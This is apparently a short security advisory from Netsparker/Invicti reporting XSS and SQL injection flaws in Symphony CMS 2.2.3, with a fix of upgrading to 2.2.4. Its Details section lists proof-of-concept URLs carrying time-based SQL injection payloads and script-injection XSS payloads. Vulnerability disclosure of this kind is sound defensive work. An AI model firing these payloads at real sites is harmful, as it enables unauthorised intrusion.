Critical XSS and SQL Injection Detected in Symphony CMS

Information

Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities on Symphony CMS
Software: Symphony CMS 2.2.3 and possibly below
Vendor Homepage: http://www.getsymphony.com/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Mesut Timur
Advisory Reference: NS-11-008

Description

Symphony is a web-based content management system (CMS) that enables users to create and manage websites and web applications of all shapes and sizes—from the simplest of blogs to bustling news sites and feature-packed social networks.

Details

Symphony is affected by several XSS and SQL Injection vulnerabilities.
Example PoC urls are as follows:

  • http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
  • http://example.com/symphony/publish/images/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
  • http://example.com/?profile='"--></style></script><script>alert(1)</script>
  • http://example.com/symphony/publish/comments/?filter='"--></style></script><script>alert(1)</script>
  • http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>
  • http://example.com/about/?profile='"--></style></script><script>alert(1)</script>
  • http://example.com/drafts/?profile='"--></style></script><script>alert(1)</script>

You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here:

Solution

Upgrade to the latest Symphony version (2.2.4).

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

References

  1. Invicti Advisories: /web-applications-advisories/

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